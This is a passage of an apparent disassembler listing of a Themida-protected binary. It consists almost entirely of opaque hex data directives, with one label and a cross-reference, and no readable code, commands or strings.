67BC1B7Ah, 0C84CF1ADh dd 7C224BD6h, 0BC5341FBh, 82FD607Ch, 0CA23FFE6h, 49A7724h dd 2792BC55h, 0CED03F8Eh, 57A01A43h, 0C705AB04h, 6737DA2Fh dd 68A70AC1h, 8390F30Fh, 5DB6FFE6h, 0B9445AB8h, 0C1782790h dd 0B2153171h, 0E0FFE683h, 0E02AE187h, 38BCB532h, 0FA68A7C2h dd 6B1A831Bh, 92BC5F16h, 0BE84C041h, 6CCFEB09h, 9AFFE703h dd 8532D841h, 0C165148Ah, 0E7D8E052h, 3F7F5681h, 81E7C023h dd 0C286AD56h, 0AE5C5AC9h, 0B76E146Dh, 0A6316DA7h, 41CCD241h dd 4DF5AFE8h, 19D352C9h, 3668A72Bh, 0A75F1687h, 90F30F68h dd 0B6FFE683h, 0C145F45Dh, 0D36B0A52h, 7E162B19h, 9B79E929h dd 0E60F9A03h, 68A78940h, 52C18736h, 78A396E0h, 3A7A1E10h dd 0EAD0A710h, 0A20CCFC9h, 477CF675h, 0F558744Ch, 1BFFE744h dd 0FCB359C2h, 0F54A19D3h, 22D97F1Fh, 873668A7h, 67BC5F16h dd 9D4AF0AEh, 3AAE1974h, 0A91F55F1h, 28910D04h, 0A752C179h dd 51A63668h, 833AE0BEh, 1B7A52C1h, 0F54A19D3h, 0CFCF461Ch dd 0BC09C066h, 0EA16A792h, 892F54DBh, 0BA6935DCh, 68A75F16h dd 0B27F325h, 951E9806h, 0D180E9F4h, 6AA75F16h, 67BC8534h dd 3D66F1ADh, 85950497h, 613DD82Dh, 76A86D6h, 2DFFE683h dd 0D0F16BD4h, 5B9F13C0h, 0BC964DF3h, 0E6833DA0h, 5B0A63FFh dd 6AA752C1h, 5F168534h, 7CBC0E85h, 9A79E927h, 0E7507904h dd 198D335Ch, 0FFE683B6h, 89D9388Dh, 1EA9128Ch, 9C064FF5h dd 2735CAF2h, 63127B01h, 0E855F16h, 0F89F52C1h, 0F10D6AA7h dd 0FFE6838Eh, 62F25BB4h, 0F59B030Dh, 0E052C13Eh, 0FFE6F443h dd 336BA7F3h, 0D7C74EA3h, 71C17A31h, 94B05147h, 56FCF6A8h dd 0C364D29Fh, 0D1487DA7h, 67BC930Ah, 166F1ADh, 0D9028D11h dd 1632CA70h, 0FFE683B3h, 0D3365292h, 1FFE683h, 60B902A8h dd 3E7E16B1h, 0E683BF22h, 0B67BE5FFh, 3925F95Ch, 0B36A1079h dd 0D8A74E0h, 6BA7040Bh, 5F168433h, 1BF76BA7h, 0C16B1A83h dd 0F86AA752h, 6918811Dh, 67BC5F16h, 405EB6ACh, 98238CB5h dd 0F61CC96Fh, 5F16F9A8h, 0BAA867BCh, 94BD4856h, 3DD8852Bh dd 52C1B261h, 85346AA7h, 1B7A52C1h, 0EA277CBCh, 82E548B4h dd 0B20BFFE6h, 0E3D18B0Ch, 0E4A967BCh, 16F7C9B4h, 5B016AEEh dd 883767AEh, 2D855F16h, 5C52C3EDh, 0C92C7595h, 0E724FA5Dh dd 829328FFh, 0FF68911Ch, 52C1A259h, 0A4346AA7h, 5909167Ah dd 1BC14B6Dh, 0BC5F1664h, 50F6A867h, 82316DA3h, 7CBC52C1h dd 0E682FD60h, 25CA23FFh, 0FA23AEF0h, 0A785F454h, 831BF969h dd 0B766CFF8h, 92BC5F16h, 1DB27A6Fh, 0C0DE351Ah, 0FDA30C35h dd 2FDEC050h, 92BC52C1h, 52C077A8h, 1E98C14Ch, 0AE549C00h dd 0E695D73Ah, 1B7A8FFFh, 0A72B19D3h, 7FDE2469h, 2C6FD821h dd 5F1614C3h, 0FD607CBCh, 23FFE682h, 997724CAh, 0EF207505h dd 55FB24AFh, 0BC52C19Eh, 66F1AD67h, 0AB59C33Dh, 208ECC9Ch dd 88A3067Ah, 7A63FFE6h, 0FF5A103Ah, 81FBA372h, 0B359A905h dd 2B19D3FCh, 0FD607CBCh, 23FFE682h, 0B95676B9h, 3CA56B51h dd 7727E996h, 0A75F16C8h, 8F02568h, 1D01C933h, 390029B4h dd 2285A1E1h, 50FFE6FBh, 0FB51B4D0h, 267FFFE6h, 0A4FA18BDh dd 67BC47FEh, 4AADC9AEh, 78FFE683h, 22BB61Fh, 45EBB35Dh dd 69A743B2h, 52C18635h, 3AD82D85h, 0AB0D964h, 0AC67BC53h dd 983E67F2h, 8385E400h, 5AB3FFE6h, 297E16ABh, 29B4EAh dd 69A7A35Ah, 5F168635h, 6EA7F89Fh, 52C18130h, 0A53569A7h dd 0DFCCC150h, 66DF22F4h, 53FCA33h, 0D6B60473h, 1BC12A89h dd 4771C164h, 37A45C61h, 0DCC24F1Eh, 5D41CE73h, 4C03A9D2h dd 2EE53A7Ah, 0D313CA70h, 6EA72B19h, 5F168130h, 81306EA7h dd 74E052C1h, 40B0D8Ah, 19D35BBAh, 0AB67BC2Bh, 993F68F3h dd 0D93929ECh, 16AD5CC5h, 306EA75Fh, 0A752C181h, 0C182316Dh dd 0D344B352h, 6EA72B19h, 0C64BA030h, 7E244DD8h, 0A75F16C7h dd 0BC82316Dh, 0B0486D92h, 7EA3EA7h, 1EE15B71h, 0C4DA36CAh dd 0B322B55Bh, 6DA785F4h, 49B80620h, 1D866632h, 0A75F166Eh dd 8BEE0A6Dh, 0B9FFE683h, 0C148F760h, 837DE052h, 0FF54FFE6h dd 99FE8915h, 15BB247Ah, 0D31B7A5Eh, 7CBC2B19h, 0E682FD60h dd 87A323FFh, 0FFE68324h, 0EA90F952h, 18C7D73Dh, 6DA75F16h dd 71C18231h, 50FC0D47h, 0B42E3FDAh, 379E6E5Bh, 2EE58BD8h dd 0E6837DE0h, 5BBA35FFh dd 0A72B19D3h, 1682316Dh, 3B7E547Eh, 0C51671C1h, 2D85681Fh dd 573F1403h, 54FA1DA6h, 0A752C19Dh, 77A1316Dh, 0F4E290Bh dd 6BD63BFh, 0E8552C1h, 8341A0BCh, 0DF5FFFE6h, 0E68360C3h dd 9D2D86FFh, 0E6831E81h, 82EB44FFh, 2B739DF2h, 1AD177A0h dd 6DA75F16h, 5F168231h, 6CA7F89Fh, 0F5801EF6h, 0A9D363CCh dd 1B6EAF2Bh, 12C96FE1h, 0F51C71C1h, 4FF51EA9h, 0BC0E8598h dd 0E6833DA0h, 5B0A63FFh, 0F6A867BCh, 0A75B1250h, 0C1873668h dd 8381E052h, 0BC31FFE6h, 65F0AE67h, 26E9963Ch, 67BCC978h dd 0F4DF3ABh, 3668A758h, 0DEC051A6h, 7E9A2A53h, 0FFE6831Bh dd 934AF049h, 0FD607CBCh, 0BFFFE682h, 95BE4955h, 9E81FB54h dd 3DCFE1E6h, 7BEA7D23h, 0F2AC67BCh, 0EB983E67h, 16C77628h dd 0C10E855Fh, 0A6F81C71h, 8B1301h, 0BC7A31D7h, 0D8FC9592h dd 9E4438F0h, 3D591EF1h, 0FFE732DAh, 0A22D71A4h, 76DF3879h dd 0F45F16C7h, 837DE085h, 7A35FFE6h, 2B19D31Bh, 0E85F89Fh dd 833DA0BCh, 0A63FFE6h, 0BC52C15Bh, 82FD607Ch, 0A323FFE6h dd 0E6832487h, 90F952FFh, 90BF76EAh, 0A71F16CFh, 41A6316Dh dd 1C8292D0h, 74FF6891h, 973FF922h, 19D3A605h, 0BC0E852Bh dd 0E6833DA0h, 5B0A63FFh, 833DA0BCh, 0A63FFE6h, 855F165Bh dd 70C3ED2Dh, 5133B366h, 4AB81B87h, 85DEFFE7h, 4A76D9F5h dd 439CFFE7h, 7CBCE69Dh, 2AB5E927h, 84E75B01h, 0B2FFE683h dd 3DA6F81Dh, 656383ADh, 79F725A6h, 92BC1CD3h, 0C051FD0Eh dd 0A06F146Bh, 56C558FEh, 1FECA1E0h, 1B7A514Ah, 0F54A19D3h dd 24DB811Dh, 31032D85h, 0FF407488h, 85E80494h, 0ABFFE6F8h dd 0BCF5AC52h, 0E6833DA0h, 0B8D414FFh, 0FFE68355h db 7Bh byte_6006E9 db 0E6h, 2Ah, 74h ; DATA XREF: Themida_:0058B7D9o dd 0FC5F7B0Bh, 2AFFE682h, 89E22BD1h, 3DA0BCDAh, 14FFE683h dd 408CFDEAh, 5F054AB1h, 0BC0EBD16h, 65F0AE67h, 0A158963Ch dd 0A0BC0E85h, 0FFE6833Dh, 0C15B0A63h, 326CA752h, 7A52C183h dd 722CE53Ah, 6118BEE7h, 204A19D3h, 513214EFh, 48FFA59Fh dd 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh dd 0E855F16h, 203C7CBCh, 0FFE683BDh, 40108AE3h, 46C83E2h dd 43A61AC0h, 71FFE6FDh, 0FD72D5F1h, 47A0FFE6h, 0F20E4EDEh dd 0FFE6FD8Fh, 4B3C17Ch, 7EBFD16Bh, 16799525h, 3CFFE6CAh dd 0C1863DE3h, 0A7F71C71h, 0A1E04A01h, 514A1FECh, 0A5306EA7h dd 40CBD340h, 5539F324h, 0E577E0BEh, 2B19D386h, 0A0BC0E85h dd 0FFE6833Dh, 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh, 0E855F16h dd 833DA0BCh, 0A63FFE6h, 0AF92BC5Bh, 5DC0DCE6h, 83FFE6E0h dd 3B71B02Ah, 3C8C1FC5h, 0DA3929E7h, 0A7D05BC4h, 29E04A01h dd 0C916CF91h, 67BC1B7Ah, 3D66F1ADh, 8D5C1697h, 49740663h dd 0A54AF5F6h, 0D38A306Eh, 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h dd 0E6833DA0h, 5B0A63FFh, 1E7F92BCh, 7B9927C2h, 0A7E097D5h dd 1683326Ch, 8CA4547Eh, 8652B5D1h, 2780FFE6h, 7D3129ADh dd 0E8520D7h, 2D8552C1h, 836ED1EDh, 0FF94FFE6h, 7D238C12h dd 0D992BCC6h, 42B41CD3h, 60CF6208h, 0C9AE67BCh, 0E6834AADh dd 0B61F78FFh, 0AF5C022Bh, 0BC8F3E60h, 67F2AC67h, 0A35A983Eh dd 7DE085F4h, 35FFE683h, 0E8103A7Ah, 83A52BD9h, 0BC9C53F9h dd 82FD607Ch, 0CA23FFE6h, 0FBE9A324h, 4EC2179Fh, 0E0F3AA50h dd 0FFE6F724h, 3668A7D4h, 8552C187h, 0AD67BC0Eh, 97B34BF1h dd 0FFE68334h, 4A54BE13h, 892F6FA5h, 1638E740h, 0BC85F45Fh dd 82FD607Ch, 0CA23FFE6h, 70862D50h, 7A208BCCh, 0AD5C42CDh dd 68A75F16h, 52C18736h, 0E6837DE0h, 13FF54FFh, 78C6008Bh dd 3B82BB1Fh, 10C76DD6h, 19D31B7Ah, 2568A72Bh, 0D4D14E8Eh dd 82E5014Ah, 0B0FFE744h, 0D685EE57h, 0A40992BCh, 9EA54A4Ch dd 0A703BAF8h, 0C181306Eh, 837DE052h, 0A735FFE6h, 1681306Eh dd 7BE7297Eh, 517A0599h, 8E345DE8h, 2568A7D7h, 1E6FD92Ch dd 5A09728Bh, 6EA752C1h, 0DF11C71Fh, 0B4DD6836h, 784F243Ah dd 92BC600Fh, 0DC3BEAF8h, 0F78A302Bh, 0D31B7A88h, 67BC2B19h dd 4559B9A9h, 0C0DE37DCh, 0FCA26D1Ah, 0A75F164Dh, 60A0306Eh dd 0E682E144h, 3767ABFFh, 40F79DF6h, 0F1AD67BCh, 0A7560D4Bh dd 0C1873668h, 0BC0E8552h, 0E6833DA0h, 5B0A63FFh, 68A752C1h dd 5F168736h, 67BC0E85h, 0C151F6A8h, 832952DDh, 836CCFEBh dd 419AFFE6h, 107687B1h, 4F8A0CB9h, 0E883734h, 4ADA7E86h dd 0E777CB2Eh, 0FAA0F9FFh, 547E1643h, 97980655h, 8E45EB23h dd 0E85F89Fh, 6CA752C1h, 0B77EA732h, 0BC52C140h, 82FD607Ch dd 56BFFFE6h, 5394BD48h, 69A754FAh, 5F168635h, 7DE085F4h dd 35FFE683h, 0F5103A7Ah, 5C523852h, 0D34900A6h, 67BC2B19h dd 4069F4AAh, 85DE59Ah, 0DE07920Ch, 3CC7D739h, 0E0B66D13h dd 0FFE6E8F1h, 0A6DA781h, 0E6838BEEh, 0EB4E6AFFh, 19FFE682h dd 0BD267FC0h, 607CBC0Eh, 0FFE682FDh, 9124CA23h, 0BC0E8522h dd 0E6833DA0h, 42CE63FFh, 83B61935h, 83DCFFE6h, 1602B11Ah dd 0A785F45Fh, 1682316Dh, 6392BC5Fh, 1174909Ah, 3FFFE693h dd 0D0716CE6h, 0C91F829Eh, 0EC45FFE6h, 0E430DD83h, 92BC0BBAh dd 380181BEh, 53E68CBBh, 837DE0E4h, 7A35FFE6h, 702EE53Ah dd 5F16BCE5h, 0A72B19D3h, 0C49B206Dh, 18E2C4DEh, 5F1600AFh dd 84527CBCh, 0A650C7B3h, 9FD538A4h, 0A2FBFFE6h, 0D9C54FFCh dd 0E052C12Ah, 0FFE6837Dh, 55BF1454h, 837ADD49h, 0CF44FFE6h dd 0DA1B44CFh, 6B33DC81h, 5A11B7E0h, 0A6316DA7h, 40CBD341h dd 270BC5EEh, 784AB3EBh, 722CE338h, 19D315CCh, 8BEE0A4Ah dd 0B9FFE683h, 8B17E660h, 0D25B95Ah, 6DA7B067h, 5F168231h dd 0D1ED2D85h, 0FFE6836Eh, 0DE953B94h, 92BC52C1h, 57681025h dd 5805ABC0h, 0ABB5D1BCh, 0A52551F8h, 52C18D3Ch, 0A5306EA7h dd 0BC3EB57Ch, 0E68341A0h, 57065FFFh, 0E9297E16h, 9D0110B5h dd 6DA740F7h, 5F168231h, 39D82D85h, 0A075DA65h, 38EF95FEh dd 0F89F52C1h, 0CE028BD2h, 0AB5037FCh, 82AB3668h, 52C144BBh dd 1DF56DA7h, 8391F681h, 0B949B21Bh, 0BA1D3979h, 0E8FFE683h dd 83C0238Fh, 8DE6FFE6h, 5F1630E7h, 863569A7h, 85F452C1h dd 0A53569A7h, 0C2057F7Bh, 0A1473AF3h, 297E16EAh, 5A11B7E7h dd 0E1AC67BCh, 0D2A6D363h, 18BD26B5h, 0EF18A3FBh, 2A749C49h dd 0B892BC7Bh, 13F6FBFBh, 0A211A44Ah, 0E6837DE0h, 69A735FFh dd 0CD45AA35h, 0CBF446D1h, 38976911h, 0F4AA67BCh, 38DEC04Fh dd 0A70FFDB7h, 0B2CE0E69h, 0FFE6834Fh, 4DB01C75h, 73FFE683h dd 1602B11Ah, 0EA92BC5Fh, 5C8C2DE0h, 858D3AE0h, 52C16A19h dd 0EB9DE1E0h, 5470B037h, 37EB9CF1h, 6920C61Fh, 0F00C6BA7h dd 0FFE6838Dh, 42F15AB3h, 0F2AC67BCh, 98FB1767h, 0BEFFE683h dd 1856FC65h, 336BA761h, 0E052C184h, 3D81D0B1h, 0D31B7A41h dd 6BA72B19h, 1C8519F7h, 6DB3628Ch, 5C2A08F6h, 5F16FFB6h dd 84336BA7h, 0FD607CBCh, 23FFE682h, 1BC750CAh, 6C03180Ah dd 0E0C433C6h, 0FFE6837Ah, 910D0459h, 8037DD06h, 0C451A6EEh dd 833497B3h, 962FFE6h, 0D343FAA0h, 1BF54A19h, 0BC26DD83h dd 0AC086992h, 0E3890E35h, 0E4B1DC36h, 0BD612758h, 0BC9D4CB5h dd 2E3DEB92h, 0F3993845h, 6DA7FEB5h, 52C18231h, 0FD607CBCh dd 23FFE682h, 0BEB024CAh, 0B658F9F8h, 0FD607CBCh, 0EAFFE682h dd 9061CA1Eh, 4AA3E414h, 811DF7A4h, 0A75F16D2h, 0C184336Bh dd 0A867BC52h, 0C8426BF6h, 0E685EF42h, 0E7943A46h, 0C1C2712Dh dd 0D351C852h, 6BA72B19h, 92BC8433h, 0BA048CC1h, 2A680EB6h dd 316DA773h, 0A75F1682h, 4EA3336Bh, 264FDAC4h, 52C1C980h dd 0E2608A0Ah, 0FA84255Ah, 0D37B32D8h, 5F162B19h, 0F1AD67BCh dd 97FA1666h, 0BDFFE683h, 0B956FB64h, 80923FE5h, 4233FF0Dh dd 52EDFBAAh, 102CA660h, 4CFB6411h, 60E052C1h, 18AEE61Eh dd 0ED257ABAh, 57FD26B1h, 2B19D3A0h, 84336BA7h, 69A75F16h dd 52C18635h, 0F2AC67BCh, 7B993E67h, 42D07D23h, 52C1AD5Ch dd 0DEFA3A7Ah, 0FFE6837Bh, 0F3AA50A9h, 0A72B19D3h, 3D0F2469h dd 2AB5E927h, 0B2038701h, 0ABB11430h, 86DFFFE6h, 1605B41Dh dd 0C10E855Fh, 0A6F81C71h, 0C34DF21Bh, 0A77E35DBh, 0BC84336Bh dd 82FD607Ch, 0CA23FFE6h, 0F42FE624h, 837DE085h, 1454FFE6h dd 0E68395F8h, 1F3BBBFFh, 0FFE683BCh, 822891EAh, 0D31B7ACBh dd 0F89F2B19h, 0F2AC67BCh, 0EB983E67h, 0CAD43D25h, 25B0EE25h dd 0C1E493FCh, 0A6F81C71h, 5878F21Bh, 919B9BD5h, 0A79249EFh dd 8519F76Bh, 0A168D1FAh, 3DA0BC2Ah, 63FFE683h, 52C15B0Ah dd 863569A7h, 55547E16h, 30EF984Eh, 0A7E69D43h, 126A316Dh dd 0BCBA79E8h, 0DA7FC72Bh, 0B0D9643Ah, 0A0BC530Ah, 0FFE6833Dh dd 257A0A63h, 0D525B0EEh, 0E68356B9h, 0BA237CFFh, 5F165D14h dd 0E88FF89Fh, 0AB3668A7h, 0BDE12E93h, 83AB1387h, 8110FFE6h dd 0F4002A74h, 0FFE6109Bh, 0E5F4379Eh, 51AE3DFFh, 0F9A6DCC2h dd 0E1F9841Ah, 0C6D83C91h, 0F86C123Bh, 0FFE5F491h, 0ABC70797h dd 0FFE5F448h, 8F6F156Eh, 0F44C4B77h, 29FFE5h, 0DF65A46h dd 39002972h, 0Ah, 267BBBD2h, 12AB5E9h, 6FA7A45Bh, 0D43FA42Fh dd 36DA3FCAh dd 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh dd 8E84E974h, 68528510h, 80198F8h, 0F8A423E9h, 0B83A1FFh dd 0B30DF4D3h, 8D4DCE8Ah, 1DB5A8Dh, 897AB608h, 0FA1CD98Dh dd 21BD8B07h, 0C707FA10h, 0FA31AD85h, 6EE007h, 10E900h dd 3B690000h, 733714A4h, 6051E9DFh, 460F580h, 85C7DEA5h dd 7FA2BD9h, 0 dd 240D8D89h, 0B5FF07FAh, 7FA3391h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0E7C35141h, 72DB44DDh, 0C2B983AFh dd 179995FFh, 0B53107FAh, 7FA31D1h, 95FF006Ah, 7FA1019h dd 5AEBC08Bh, 0B1ED0C7Dh, 85CE3219h, 0FD8CFBF3h, 918B5298h dd 9E6B7DBBh, 9E302A4Eh, 632BB765h, 6725089h, 0BD957ACAh dd 1850CF4Eh, 0F63F8CFDh, 282F08F8h, 0B8322B28h, 0A15E2DADh dd 0AE2E2EAEh, 4BC085DDh, 2D95EA47h, 35A6F516h, 0ADDAD97Ch dd 0BEBA6C47h, 0D564D33Bh, 19A82460h, 18E943ABh, 19000000h dd 526BB5h, 4 dup(0) dd 0E9000000h, 0E28h, 1DDE468h, 0A30EE908h, 368FFF8h, 0E90801DFh dd 0FFF8A304h, 1DFD968h, 0A2FAE908h, 6F68FFF8h, 0E90801E0h dd 0FFF8A2F0h, 1E3E468h, 0A2E6E908h, 2668FFF8h, 0E90801E7h dd 0FFF8A2DCh, 1E84B68h, 0A2D2E908h, 4EC8FFF8h, 0A56D1A50h dd 0FF16C3F9h, 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh dd 0EB217D97h, 96CCD23Eh, 3E742AE9h, 98FB176Fh, 0BE07E85Fh dd 6AA7A158h, 0CC44A934h, 832C8FABh, 15AFFE6h, 88016298h dd 31B0EEC7h, 0B821D0CDh, 7F93E828h, 5997A1Fh, 0E309EB5Fh dd 0D42D07E0h, 0E2B61D49h, 3FC007E0h, 0EA467E85h, 2DE4406Eh dd 75000000h, 858E96F3h, 0E020B019h, 0E68361C4h, 90368FFFh dd 0B4AADCF8h, 5FB807E0h, 0B441A8D4h, 0CA4B07E0h, 0C0D10910h dd 76F406Eh, 0 dd 90D6Dh, 6CA70600h, 2D57A732h, 95503A0Dh, 9643E9DEh dd 8AEB217Dh, 0B5D161FFh, 7E1031Bh, 0B7E36EC7h, 7E10250h dd 18A3FB1Ah, 0B43F5FB3h, 5AD6798h, 8CDE08A0h, 4176CFEEh dd 0E9A324CAh, 6F42AAE2h, 4D4840h, 0F3D90000h, 1E3ACA96h dd 7E09C50h, 3767AAFFh, 64EF4891h, 967FD414h, 0E8547D08h dd 7E09B85h, 4AD5C947h, 0E187E021h, 0E09B066Dh, 5E40D007h dd 46783D3h, 3207E09Bh, 0BEE034D9h, 0E7A1DA33h, 9F59DA3Fh dd 6EA76098h, 0D3FE40h, 0A78F0000h, 42A7326Ch, 0EA3FCFCFh dd 0B1EB7628h, 0BAEC6DA9h, 0FFA50EFFh, 920C076Ch, 0F171A207h dd 0C9F27D21h, 2FB62A60h, 39FFE6FEh, 0E18EC4DAh, 91E16C32h dd 808FD33Ch, 0AE0FB51Eh, 0D7C749DBh, 2ABA234Ch, 642DC0EAh dd 55890170h, 0A39D3BAFh, 0D0FA07E1h, 923308F0h, 0F740E6DBh dd 5BB90E9Eh, 0EA8FB843h, 0C2EB7628h, 0C7DDE1Ch, 65A8C454h dd 4B0FDDB7h, 40D62F2h, 77CC649Ah, 527B0698h, 0B03B63ADh dd 0DD34E187h, 0C3BC03C1h, 649F999Ah, 0B71C5h, 138B8B00h dd 0BCE230DDh, 623CD986h, 0E907F2Ch, 0B8E62BD8h, 0B2994E82h dd 5C093F5Fh, 3B0E6B8h, 0AE5B910Dh, 34033965h, 605DC0DCh dd 1D8307E8h, 346AA766h, 0DCC251FEh, 801EF74Ch, 0E826CCF5h dd 0A396F331h, 0E6832487h, 590819FFh, 0F498A04Bh, 61F15AB3h dd 0E0AA7745h, 0BA4AA307h, 63EEB065h, 9A94F713h, 69C207E0h dd 9BC75A00h, 7E09A34h, 0FC03BD3Eh, 406EA6C4h, 0DC62h dd 7CBCF300h, 0E682FD60h, 4955BFFFh, 2235AF08h, 1AA665DFh dd 6CA754FAh, 257A732h, 25EC910Dh, 1FC5EE79h, 74FF9F72h dd 0E718C148h, 0C94BA0FFh, 7B214AD5h, 0C95945CEh, 59FF9F74h dd 0E12E831Bh, 0A96A17BDh, 0C51A6AF5h, 0EC86404Dh, 90F33CC9h dd 69208127h, 0AD4B67F7h, 8A07E10Ch, 19BFDF35h, 92E777D0h dd 67901B83h, 672283C1h, 0F94D69F9h, 250FDDAAh, 0E64965A5h dd 0CFFED18h, 18E447B3h, 0B912FFEDh, 0A66BC050h, 0FC15C2F8h dd 18FC5F7Bh, 952AFFEDh, 4FB8217Dh, 9AE53891h, 49E82399h dd 0A52h, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h, 0F72D719Eh dd 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h, 48CB78AEh dd 0F9512056h, 0E8627ADDh, 8B42A807h, 0FE346AA7h, 0A6DCC251h dd 326CA7EFh, 0E34662A2h, 11FFE682h, 9E0013B8h, 0B144EA13h dd 47D7C74Ch, 6801EF2h, 2A6B6028h, 9AD87E3Ah, 82D7B8C1h dd 96A108Eh, 3450E080h, 7E13A32h, 6E62751h, 0CF047B29h dd 4A87E029h, 0A62E5EE6h, 2BE439B1h, 1D6CCD73h, 0C597B343h dd 0D1B61FEDh, 0B5D4ED78h, 0B1DB1BABh, 0F5892446h, 99050DE0h dd 8C168A30h, 1AB1A97Eh, 37DC31C1h, 2EB9E52Bh, 0FA08B7F4h dd 0CC35A9E1h, 0C5C98252h, 0F15ACF06h, 42CE23BBh, 2A8D15Ch dd 6CA4BE55h, 0B80BC932h, 9337A436h, 97CB958h, 96800000h dd 0ED25D208h, 47CE7BB1h, 9B742157h, 0F120CD03h, 8E4377ADh dd 0FC326CA5h, 0A3D9C54Fh, 4E841AF6h, 0F62C72A1h, 50B3CF27h dd 7607E862h, 6CA75910h, 0FB8EA732h, 4AB3EB29h, 2AC190BAh dd 0E9749504h, 58FAB43h, 5207E19Fh, 0FC8717FDh, 5E2D90ACh dd 0FA5307E1h, 49A2EB91h, 0F2AC64B9h, 9D010FBCh, 5E83E612h dd 1F8607E1h, 3507E16Eh, 3C7C0C54h, 0DEA4C612h, 0B7E06B33h dd 0EBCF973Dh, 0DE13D145h, 0D62F0FDAh, 712DE64Bh, 9C210EB3h dd 57F63199h, 8E6h, 689E0016h, 114757BBh, 0B7EDB164h, 6399050Ah dd 0D435BB6h, 0D63B24D9h, 2FE592C8h, 848C396Fh, 0DC37E41Ah dd 65BD8CC2h, 0E862E649h, 0EFA60C07h, 3ACA96F3h, 336BA5FAh dd 0D0CE43A8h, 0DB31C45h, 0E097DB99h, 9F720707h, 0DC0696FFh dd 21CB0188h, 3CCF75E9h, 0E8273BD7h, 99022BB6h, 425CB663h dd 74EE9EB7h, 0E29DC8E4h, 6AC307E0h, 6A244DDFh, 0DC3F5B9Bh dd 0D107E0E2h, 0AA06BAC3h, 28BDFEA8h, 32CB7E7h, 0CB47F49Ah dd 0C2299DD3h, 0D807E0A2h, 622B2B4h, 7E0A2C7h, 0CE669CF5h dd 0DBE898A4h, 9C4225EEh, 0D33F23EFh, 0ABD762CBh, 7E1203Ch dd 5236F019h, 0FBA8DEC0h, 0E1446017h, 0F07E11Eh, 9D0111B6h dd 0F580E912h, 0E11FB2C9h, 0BA0F4F07h, 59BE4955h, 0EA7AE3BBh dd 0E11F6BCEh, 9A409907h, 977B5F19h, 7D4D7707h, 98C0C0D5h dd 0CF306E14h, 0F713A3BDh, 7E09291h, 7FD464BDh, 547D0896h dd 0F1EF1BAEh, 0A97C41F6h, 2F676E28h, 0CDAC0FF6h, 1AFh dd 0A967BC5Eh, 16CCD3E4h, 0B11A22C6h, 81DFAA0Bh, 4137D5F1h dd 0BF1407E1h, 92783954h, 60F00CBBh, 730851F7h, 4C75009Eh dd 0A9346AA7h, 32871780h, 0DA87BDE1h, 80D56539h, 0D6690F8Fh dd 0ACE13186h, 66FE8ABBh, 0AB51BAACh, 27513237h, 510B448Fh dd 0C2F8A66Dh, 15A0FE15h, 0A0D690FCh, 0F7821CF3h, 0DAF68192h dd 80A30C77h, 9E011D9Dh, 0C480A30Ch, 6399026Bh, 0FD98A1CBh dd 8DFC39DBh, 0EA7529E8h, 0A56E1BC1h, 0F553B6D2h, 288180A2h dd 35DA2FBFh, 504EC469h, 63F69CC5h, 2DABA237h, 0E19BD4F3h dd 528816FDh, 0F4AA65BAh, 35DBC34Fh, 88138B88h, 0B3431D6Fh dd 49F45773h, 0C922F21Dh, 0F64B8B23h, 6ADE841Ah, 0F21D4A07h dd 0F19ED42Dh, 0D1CD4220h, 0C8C4DD68h, 93F20E9Eh, 0B1F21D4Ah dd 9E752258h, 0AC514DC4h, 45D03965h, 0E26D31E0h, 0CE61050h dd 0B3EB2423h, 0F2609E39h, 2D11CB4Ch, 0D582B8E6h, 0AEF0243Eh dd 691FA23h, 0B2B061B6h, 8AB33E60h, 721A7B21h, 0E94460F0h dd 0C8F21D59h, 2852109Eh, 29B4EAh, 48DFF486h, 700059A2h dd 3ADC046h, 0EC924D3Eh, 8C1201AEh, 2A749C01h, 6A244D9Fh dd 0D697719Bh, 0C88174DAh, 9E7522h, 33DD32CAh, 0FB18C56Bh dd 2F65EC92h, 57C0B16Ch, 87D9B3CCh, 1E6FA2F7h, 0B7FDD0BAh dd 17A20B95h, 94B048EEh, 0F21C8F3Dh, 306EA7FCh, 0B2E8418Ah dd 144EC51Ah, 0ED16A1FDh, 0DF31DE84h, 35DA2FBFh, 0FB5DE69h dd 3729637Ch, 8F388BA7h, 0CF0FF21Ch, 1C8F50B3h, 771D76F2h dd 79FD52Eh, 0B03B63B2h, 0A72AE187h, 8519F66Ch, 1AEDC0FAh dd 334EDF30h, 0CA2B61CAh, 0D111A1BFh, 0E74852B5h, 812780FFh dd 72BBCDE9h, 67E707E1h, 0E171E84Bh, 10B50E07h, 0A4349D01h dd 74030F64h, 0E171F558h, 59C21B07h, 52FFA5CEh, 12AAE0BEh dd 0B2EB6FE8h, 0AB654A4Dh, 37E48AF3h, 38A7B4D9h, 0C50F71EAh dd 0D1B8D15Ch, 95BFFF8Fh, 0AD4E800Bh, 0E75B01D6h, 0FDB015Dh dd 60A03089h, 2B97070Bh, 0FFE700C8h, 5CEF95EEh, 0E710C930h dd 0B6AADFFFh, 54C0A26h, 217A07E1h, 0B4D93C91h, 39B90C76h dd 99248DC2h, 20CDF670h, 88F33410h, 29EA4FE2h, 1A18B775h dd 0F02B9E66h, 57151h, 138B8B00h, 0BCE230DDh, 623CD986h dd 0E907F2Ch, 0B8E62BD8h, 0B2994E82h, 5C093F5Fh, 3B0E6B8h dd 0AE5B910Dh, 34033965h, 665DC0DCh, 1D8307E8h, 0CA96F366h dd 0B7A41E3Ah, 9EF307E0h, 38812777h, 71254FDFh, 5EDFB470h dd 0CEFA8D33h, 7E15868h, 8A85DA72h, 0DC6737D8h, 96BF4AB3h dd 5887EA06h, 54AD07E1h, 6C732DAEh, 406F6034h, 0E7D2h dd 7CBC6300h, 0E682FD60h, 50CA23FFh, 0F7A07A5Dh, 31A54B2Bh dd 0FFE725FAh, 251A7D99h, 0B348FFE7h, 6BD43D61h, 385494DCh dd 0FFE725D5h, 0FC5F7BFBh, 2AFFE724h, 15C268D1h, 96AA0FEh dd 2B73A084h, 0C6D83BA0h, 40A9123Bh, 253994B0h, 0E767FFE7h dd 0E72568CBh, 0B5E92AFFh, 27B21B74h, 174D51C2h, 0BA55D7B6h dd 0ABEB7BE4h dd 0A0BCBB56h, 0FFE7253Dh, 